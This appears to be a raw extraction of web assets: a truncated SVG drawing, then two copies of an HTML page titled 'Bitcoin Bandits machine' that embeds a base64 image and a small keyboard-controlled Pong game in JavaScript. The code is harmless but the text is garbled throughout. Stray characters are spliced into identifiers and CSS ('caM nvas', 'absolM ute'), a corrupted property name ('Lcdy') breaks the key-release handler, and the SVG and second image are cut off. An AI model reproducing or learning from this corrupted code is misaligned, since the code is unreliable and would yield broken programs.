18.135 40.506-40.506 40.506a40.316 40.316 0 0 1-20.414-5.513c.25.005.5.007.751.007Z" class="Subtract" clip-rule="evenodd" opacity=".7"/>
        <g class="mn">
          <path fill="#C76439" d="M444.5 259.873C376 288.873 242 451.582 192 529.372c29.833 29.834 305.9-91.634 345.5-73.634 39.6 18 63-22.699 78-64.365-12.5-45.291-130.834-148.505-171-131.5Z" class="m4"/>
          <path fill="#FFB673" d="M159 302.471c-40.272-18.862-107 74-157 151.79 29.833 29.834 161.9 84.5 201.5 102.5 39.6 18 135.5-44.594 150M
.5-86.261-12.5-45.291-155.5-149.529-195-168.029Z" class="m3"/>
          <path fill="#BA5454" d="M20.009 307.993-18 379.776c27.913 71.782 177.571 151.802 230.427 160.431 52.855 8.63 307.631-55.307 345.046-89.826 29.932-27.614 12.472-70.867 0-89.041l-22.567-53.347-14.848 42.363-24.943-71.782-9.502 50.993L464.233 257l-29.694 93.356-18.41-61.976-32.664 72.96-16.628-53.347-32.664 80.412-23.162-65.114-24.349 65.114-21.38-109.831-33.257 82.766-19.598-53.347-21.38 80.412-14.847-38.049-24.943 38.049-16.035-65.114-18.41 56.M
485-11.284-91.396-29.694 111.793-16.63-49.817-21.379 44.325-17.817-86.688Z" class="m2"/>
          <path fill="#731414" d="m22 311-32 91.5C13.5 494 139.5 596 184 607s259-70.5 290.5-114.5c25.2-35.2 10.5-90.333 0-113.5l-19-68-12.5 54-21-91.5-8 65-18-92.5-25 119-15.5-79-27.5 93-14-68-27.5 102.5-19.5-83-20.5 83-18-140-28 105.5-16.5-68-18 102.5-12.5-48.5-21 48.5-13.5-83-15.5 72L94 286 69 428.5 55 365l-18 56.5L22 311Z" class="m1"/>
          <path fill="url(#f)" d="M92 331.5 60 423c23.5 91.5 149.5 193.5 194 204.5S513 557M
 544.5 513c25.2-35.2 10.5-90.333 0-113.5l-19-68-12.5 54-21-91.5-8 65-18-92.5-25 119-15.5-79-27.5 93-14-68L356.5 434 337 351l-20.5 83-18-140-28 105.5-16.5-68L236 434l-12.5-48.5-21 48.5-13.5-83-15.5 72-9.5-116.5L139 449l-14-63.5-18 56.5-15-110.5Z" class="m0"/>
    <linearGradient id="b" x1="300" x2="300" y1="66" y2="534" class="b" gradientUnits="userSpaceOnUse">
      <stop stop-color="#FFC9B3"/>
      <stop offset="1" stop-color="#fff"/>
    </linearGradient>
earGradient id="e" x1="300.454" x2="300.454" y1="146.701" y2="258.206" class="e" gradientUnits="userSpaceOnUse">
      <stop stop-color="#FF817E"/>
      <stop offset="1" stop-color="#D94E4B"/>
    </linearGradient>
    <linearGradient id="f" x1="309.207" x2="309.207" y1="266.5" y2="628.51" class="f" gradientUnits="userSpaceOnUse">
      <stop stop-color="#340000"/>
      <stop offset="1" stop-color="#1B0000"/>
    </linearGradient>
    <radialGradient id="c" cx="0" cy="0" r="1" class="c" gradientTransform="matrix(M
0 97 -97 0 300 202)" gradientUnits="userSpaceOnUse">
      <stop stop-color="#fff"/>
      <stop offset="1" stop-color="#FFC3C1"/>
    </radialGradient>
    <radialGradient id="d" cx="0" cy="0" r="1" class="d" gradientTransform="rotate(90 49 251) scale(74.3364)" gradientUnits="userSpaceOnUse">
      <stop stop-color="#fff"/>
      <stop offset="1" stop-color="#FF8885"/>
    </radialGradient>
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, iVBORw0KGgoAAAANSUhEUgAAAWgAAAFoCAYAAAB65WHVAAAT+ElEQVR4nO3dbYhc13kH8OMkShtjy0pryfFLstqoka2apE38ISZCRd6lFYRGMrVx2mCT2hUpKQTaDwqFlEBLDSUqNNAPgVSNEtyaJjRgOzSggNcCYaN+kOM6OGspVdabWLYjOVSxg/OO+2F175zdvXfn7c7MMzO/3xcf3blz5sg2D8/877l3Ltu9b//rCYBw3jDqBQBQTYEGCEqBBghKgQYISoEGCEqBBghKgQYISoEGCEqBBghKgQYISoEGCEqBBghKgQYISoEGCEqBBghKgQYISoEGCEqBBghKgQYISoEGCEqBBghKgQYISoEGCEqBBghKgQYISoEGCEqBBgjqTaNeAHE9fuyRUS+BM
huzet3/US6AHOmiAoBRogKBEHNRGGYcOHSrHhw8fLsc733frwNdEM848eXLUS6APOmiAoBRogKBEHFOmKs7Io4xufOa5p/tdDgPwye3vGfUSaIgOGiAoBRogKBHHhOpkZ0bh4UdPVJ57YH5Px5+Xf62+Ycvl5fiBM8sdz5G7bdvWDefLX8/VffazX/p8Simljx/6VE/rSSmlzx2+f8M5Hjt/YcP352veunVbOf7KM890vIa6v7e4aTLpoAGC0kFPgG4u/NV1y8NW1Qnm3e9jWfd7z5aZvj+v6HqLLrifOTrpfqu+AeR/p7uyOeoUc9T9e6nrppkcOmiAoBRogKBEHGOkiQt/tOQX+/Loo+54r56/+FpKac1Fwr5nZRrooAGCUqABghJxBNRNlJHSeMYZlXuGz7eGq3ZBDGgNeXyxvLxcebxX7faCd7KLA3TQAEEp0ABBiThGbBxvMmlCvzeq1N5Wfb76cKFuh8bMTPXNML3eGl7s3EgppXt2rszd623vTC8dNEBQM
CjRAUCKOIXGTSQx1N6R0c/6FC60c5a6bby7H+XM5VkUwbWKXOuUcNbtbmHw6aICgLtu9b//ro17EJJmkPcz586CrftXbM4hjyp/NXfyq9+59+0e1HPqggwYISoEGCMpFwj5M6x7mgl+PhsHSQQMEpUADBCXi6MA07WHu5Je8i50BwGDpoAGCUqABghJxrBFhZ0bdk9qKp6KltPppab2qijPyG1Jyc3NzfX8eg7OwsFB53A0q400HDRCUAg0Q1NRGHMPemZHHFr1GFfkD37uZo25nRlWcIcqITZQxXXTQAEEp0ABBTVXEkccas7Oz5fjOO+8sx8O40aQqquh2V0a7OeoeFZrL/x0UlpaWulpHBEeOHOnpfQcPHmx4Jc2q+m8hypguOmiAoKaqg64zjP3M+UW9bn7dudf31cm75k1vvabv+aKp+9Xu4nh+LOLfv+qbj655eumgAYJSoAGCEnE0pIgz8kii7tecV/0ycxcXB/P31d0OPu3yCGN5ebnyOIwLHTRAUAo0M
QFAijjWqoop8f3Hdzoy6OKOXz+t1rmELE7N89GPl8Nkvfb4cz8zMrDv1puzcxwa7qtKqSAu6oIMGCEqBBghKxJGqv6rXPTmuifih12ggSqRQrOP658+OeCUV5udHvYJ1zl36p6iDbumgAYJSoAGCEnGsUcQZTTz3ok43N5zUraPp3ydsJ19nEW28f9+BgX/uJLj+2MMppVbUkZK4g87ooAGC0kEPSRMd+bC7ZmC0dNAAQSnQAEGJONYooohO4oQmY4u6zxBrwPTSQQMEpUADBCXiWKNqH3Svt3rX7XduF1v0+kB/YLLooAGCUqABghJxNKTdbgyxBdAtHTRAUAo0QFAijj5U7cb4yrnvtn3fXde/c2BrAiaHDhogKB10jbq9ynUX+4rOeeumK1tzfOkd5fiBj35v3bkp6aaBejpogKAUaICgRByp9z3KeVRRRBt5NLJ0cKkc37Nzthznt5EXc4g6gLV00ABBKdAAQYk4ulQVa+SWllqxxuzs7LrXU0rpujvOtv7wM
1R3r5h1W3HFgfk9KKaWHHz2x7tja48Dw6aABglKgAYIScTSkiC1mvzVX+XoefaR3D2NF7RURhlgDYtJBAwSlQAMEJeLoQLudG3Vqd3S8dFk5LHd0XNrNsfbzBrmjwy4OiE0HDRCUAg0QlIijD6tuOHlpJYro5EaVKlv+tDXXhX/Z1v/iOlAVYYg1IA4dNEBQOuiG1XXNq/ZBb72s8pxhc5EQYtNBAwSlQAMEJeKo0eve51z9BcPnNnxf/nmD3BPtVm+ITQcNEJQCDRCUiKNL+X7l9Or613vdBz0KdnFAbDpogKAUaICgRBwNG6cbVdzqDbHpoAGCUqABghJxDFCvN6oMi10cEJsOGiAoHXTDet0H/aEnWr8G/kBabnRNddzqDbHpoAGCUqABghJxrFE8Pa7XJ9h1EmvMX9je+sOl8dc+sFAeunim9Qvfg3yynYuEEJsOGiAoBRogKBHHkNx9993l+N5jf9964W0rscVrw15Qcqs3RKeDBghKgQYISsTRh/lvza07M
lkcZi4uLw1xO13b/zq4NX3/8f2KvHyadDhogKAUaICgRR5fyZ2Y8+u7WzSXppZUbR44Oe0F9EGFAbDpogKB00F3Kb8mu+lXvceIiIcSmgwYISoEGCErEMcVEGBCbDhogKAUaICgRxxSziwNi00EDBKVAAwQl4phiIox4PrPjcDk+vMF5TAcdNEBQCjRAUCKOKXb6YydTSind+Plb255727at5fjcpX9ef+zhQSxr4py7YUdKafW/wzqfPHso+9N0hxx3nL27/UkVvrrj3xpeyejooAGCUqABghJxTLGqaKOIPepeT6n1Vf1c5aus1S7ayP+df/LsnkEvZ2zkUcW9z91Xjq/afkU5/tFzPy7HR7d/YTgLGyIdNEBQOugpVnWRsJMLhoVOLnr1sp5u19H0fINaR91c+fED831/HBNEBw0QlAINEJSIY5o99s4NX/7mB1tf9d/79Y0vKL72fNrw3LXnV33dr4sA2r2v7vV28US372sXVfS6jpxbvcnpoAGCUqABghJxM
sOqrecofcHdDm/Ozc997ouZr/57e4on8fanioXurXs+imlWfl62p3Y6Vdu+rXX/2vhcfubbyfcX6bvzOtvV/kTXn5nOk9GLl+UwPHTRAUAo0QFAijin24qs/SSmldG0WERTHUkrp2pfeUo5Pv+t8642XIocXv3Nt9ev5Z9Sd87bvrryefaV/7PyFcvzCV3eU4823t25/Pr3niyuDl2rWnGrijkvxRNUa1q2zLrYo3pu9L19HSq115O+79sr1865a/6pYA1p00ABBKdAAQYk4JtTDj54ox4cOtR4Cf/hw6/aH65ZW/jk3N1c9yU9rJr+wvfNz686pmOOBtFyO3/i+t5fjVx5q/V0O7KxZa5vPuGHLyj/n88+t+nuklNK3dm08d9372q2py/fNza2sY+HYI5Wv7963v7t1MHZ00ABB6aDXuOv6lYs3XznXuhC0ddOVo1pOuvCLV8txsbZu1XXThbyrzt177709fV7PzrQ66F89+f3KU2ZmZoa1mjDq/jscPXq08rjOM
enLooAGCUqABghJxTJk87ihUxR4pDT/6+Jvf/71yfPz48XK8d+/eDd+3vNyKRh7IYpJ8//SBb38vpdRMRJJ/3vE/+KdyfON73lWOr/3HPyzHg4pluok+xB7jSQcNEJQCDRCUiCOIi1/c0f6kAamKPVLqLvpoIvbIo4O641VxQX7snvyFS7FG3fvyeX/wiR+U430795Xjpz7x1Lo58rn2fuOvWhN+o3pNVZ/36Jd/1nrh8tYvVs9/6N83nKMTVf8t7PgYTzpogKAUaICgRBxdyqOIy+84O8KVDF430UcTOz7yr/S9fr3v5n2rzv3n1vCp9FTH8/X6efMfzuOc/mONdqLc7HLH2bvL8eY3vrm1ju1fGMjnjTsdNEBQCjRAUCKOUcge+J4/mH5cNHGzC7E9fukJek1HHXmssfTTVxqdexLpoAGC0kHXyJ8cV/dku7z7va7BC4ZNPMFu2HrdSz07O1seO3LkSE+f/fFDnyrHnzt8vzkamGN+fr6n97VTdzFw77N3luPjM
N/1nSimle5+7r/LcOsX5k3TBUQcNEJQCDRCUiGMExvHCYK/y6OPA/J4Nzlyt7mt6cbyTr+5Vc3T79b/JOar+Hp3M0e7fxbDmGKQi1kipFXdcddMVbd931fb15+TRyLjHHTpogKAUaICgRByElH/dzp8C183X8Ko5uv0a3+QcTf49RjHHIOWxRBFtPPXsC+Wx373puo7nymOPcY87dNAAQSnQAEFdtnvf/tdHvYhhKW5fTWn1DRKb3npNx3PU3bRSOPZ3ravii4uL5XjXrl3leN+n13+tHMXNKd3sqmha1Y0q+X+HbnYl1JmUObrdbdLEHGeePJlSGt4D/fMo4pVf/Xzd6//7k4vl+LfesqXjecf9iXk6aICgFGiAoOzimDJ5rBHhSXNLS0v5H8phE8+CmJQ5RrGGaL9VmMcavcYd40gHDRCUAg0QlIijS508hrQbxe6NUT5WNN9JQRxF/BMtbhiEfIdFsaOjajdHSu1jjXHfuZHTQQMEpYPuQ1033U60B/LroOO4M
5ZZbynGEi7ijUHS97fZGr1V0zuPeNed00ABBKdAAQYk4GlJEFX/dxbnAesUD+5dS61e//++XP237vre+6ddXvT+l1T8EMI500ABBKdAAQYk46MjzF18rxzdsubzr15kO+RMje54j9T9Habn9KYW5ublyvLCw0Pb4MPan66ABglKgAYIScVArjy2e+cjJcnzzg7euO7fudXHHdBnnm57yJyvmf4+648OggwYISoEGCEqBBghKgQYIykVCunb6/q0rg4uny2O/PDeixcAE00EDBKVAAwQl4gAac93Od687dvH5syNYSX+uueaacvyzTVeMbB06aICgFGiAoEQcdOTnF1vjH//X10a2DsbP5s2bR72Ers3MzJTjMy/8cGTr0EEDBKVAAwQl4mjYvk/fX44X/+SPKo//w7atQ11T0968Zf2xPAIBmqGDBghKgQYISsTRsNuy+OJAzfFxkT9s/71fbz2E/5sfPLnu3Pc/0dtD+vPfeJtU+W/aQTd00ABB6aAb9tj5C+X4M
tkdPVB8fw266CflPBxXjvLvM956Ouz179pTj++67L6U0vZ30Gza3/n//tV/8uBxH2WtcrCnKenI6aICgFGiAoEQcDauLL8Y91qi7YFj1+iAdP348pZTS8p8/1PbcD+3eWY5/4wt/0dG8nczdybyLi4tt1zeN8hjh6quvLsejjBSKNUVZT04HDRCUAg0QlIhjgCZ158aw4oxO3fied1Ue/9rjZ8rxRxucu4l5oRM6aICgFGiAoEQcAzRJsUZkf/yO1v/G//G9X47N3NCODhogKAUaICgRR8MmdedGZHn0kEcSf/v0YOZuYl7ohA4aICgFGiAoEUfD6mIN0cdwDHKnhV0cDJsOGiAoHfSQ6JoH5/TT3xnLuaEdHTRAUAo0QFAijgFyYbB5e/fuXRmc/uxg5h3A3NArHTRAUAo0QFAijgESazQv/924dnbt2lWOT5w4MZJ5oR86aICgFGiAoEQcQ2JHR7NOnTo1lnNDN3TQAEEp0ABBiTgaVhdliDWAbumgAYLSQTdMM
pww0RQcNEJQCDRCUiKNhz3zkZDm++cFbOz7eybm03HLLLWM5N3RDBw0QlAINEJSIowPdxBb56/me6POf3dE6ntYfP3X7TdlcTax6Mr388stjNS/0QwcNEJQCDRCUiKMDeWxx6gOtKOL8Z1tRRR5bFC784tW2cz/8o5Wv1gcfyg662aXW8vLyqJewyszMzKiXwATTQQMEpUADBCXi6NIrD7V+g+7Iy0vl+MBVnf+mXRFrdPs+YlhaWqoc7927dwSrYZLpoAGC0kH3Ie9+i644P7Z105XlOL9gWPW+g1e3zqW9vHOdnZ0d6mfnn+ciIYOkgwYISoEGCErE0Yd2F/ve+L63l+OtT36/HNfFHXRu2LEGjIIOGiAoBRogKBFHH6riiXznRq6TuAMgp4MGCEqBBghKxNGQItrIo4yX/vvb5fht7//toa+JwXCrN8OigwYISoEGCErEAV3yLI7m/dmHby/Hi4uLA/+8U6dOZX/6zYF/Xq900ABBKdAAQYk4GCvjEins2rVrM
1EtgAuigAYLSQQ+Qvc+rVT2BbmFhYQQrGbyjR4+W42l/8t7O61oX4fbs2VOO84uB//rlh4a5pJQ2XbHhy/lFy6GvLaODBghKgQYISsQxJL/yBLtVpulr/zT9XbvxxNOnR72ElFJKZ1744aiXUEsHDRCUAg0QlIijIUVskT+Mv+r1tYrfNTx4dfWD/iedr//TZRi3cTchyjp10ABBKdAAQYk4+lDEEym1fp+wkx0aVe8DWEsHDRCUAg0QlIijD3k8UcQWnUQWVe+b1l0cQD0dNEBQOug+tLvYV/zS90aKznnz7a2nfKUnnu1/ccDY00EDBKVAAwQl4uhSHkUcfGjjc2/btrUcP/ORk+X45gdvXXf85gfbnwtMFx00QFAKNEBQIo4OrI4csuN/eTY7fuu6c1MWW9RFFVXHxRpASjpogLAUaICgRBwdEE8Ao6CDBghKgQYISoEGCEqBBgjKRUJgoI4ePVp5fPe+/UNeycYirlMHDRCUAg0Q1FRFHPlXlcePPdJ6YWlpM
BKsZjcNPnlx3bGFhYQQroUr+3yJaBMDw6aABglKgAYK6bPe+/a+PehEArKeDBghKgQYISoEGCEqBBghKgQYISoEGCEqBBghKgQYISoEGCEqBBghKgQYISoEGCEqBBghKgQYISoEGCEqBBghKgQYISoEGCEqBBghKgQYISoEGCEqBBghKgQYISoEGCEqBBghKgQYISoEGCEqBBghKgQYISoEGCOr/ARBVM7nPgP7+AAAAAElFTkSuQmCC" class="background"><div class="game"><canvas width="750" height="585" id="gamecanvas"></canvas></div></div></body><script>const canvas=document.getElementById("gamecanvas");const context=canvas.getContext("2d");const grid=15;const paddleHeight=grid*5;const maxPaddleY=caM
nvas.height-grid-paddleHeight;var paddleSpeed=6;var ballSpeed=5;const leftPaddle={x:grid*2,y:canvas.height/2-paddleHeight/2,width:grid,height:paddleHeight,dy:0};const rightPaddle={x:canvas.width-grid*3,y:canvas.height/2-paddleHeight/2,width:grid,height:paddleHeight,dy:0};const ball={x:canvas.width/2,y:canvas.height/2,width:grid,height:grid,l:false,dx:ballSpeed,dy:-ballSpeed};function collides(l,d){return l.x<d.x+d.width&&l.x+l.width>d.x&&l.y<d.y+d.height&&l.y+l.height>d.y}function loop(){requestAnimationFrame(loop)M
;context.clearRect(0,0,canvas.width,canvas.height);leftPaddle.y+=leftPaddle.dy;rightPaddle.y+=rightPaddle.dy;if(leftPaddle.y<grid){leftPaddle.y=grid}else if(leftPaddle.y>maxPaddleY){leftPaddle.y=maxPaddleY}if(rightPaddle.y<grid){rightPaddle.y=grid}else if(rightPaddle.y>maxPaddleY){rightPaddle.y=maxPaddleY}context.fillStyle="white";context.fillRect(leftPaddle.x,leftPaddle.y,leftPaddle.width,leftPaddle.height);context.fillRect(rightPaddle.x,rightPaddle.y,rightPaddle.width,rightPaddle.height);ball.x+=ball.dx;ball.y+=bM
all.dy;if(ball.y<grid){ball.y=grid;ball.dy*=-1}else if(ball.y+grid>canvas.height-grid){ball.y=canvas.height-grid*2;ball.dy*=-1}if((ball.x<0||ball.x>canvas.width)&&!ball.l){ball.l=true;setTimeout(()=>{ball.l=false;ball.x=canvas.width/2;ball.y=canvas.height/2},400)}if(collides(ball,leftPaddle)){ball.dx*=-1;ball.x=leftPaddle.x+leftPaddle.width}else if(collides(ball,rightPaddle)){ball.dx*=-1;ball.x=rightPaddle.x-ball.width}context.fillRect(ball.x,ball.y,ball.width,ball.height);context.fillStyle="lightgrey";context.fillM
Rect(0,0,canvas.width,grid);context.fillRect(0,canvas.height-grid,canvas.width,canvas.height);for(let l=grid;l<canvas.height-grid;l+=grid*2){context.fillRect(canvas.width/2-grid/2,l,grid,grid)}}document.addEventListener("keydown",function(l){if(l.which===38){rightPaddle.dy=-paddleSpeed}else if(l.which===40){rightPaddle.dy=paddleSpeed}if(l.which===87){leftPaddle.dy=-paddleSpeed}else if(l.which===83){leftPaddle.dy=paddleSpeed}});document.addEventListener("keyup",function(l){if(l.which===38||l.which===40){rightPaddle.Lcdy=0}if(l.which===83||l.which===87){leftPaddle.dy=0}});requestAnimationFrame(loop);</script></html>h!
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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
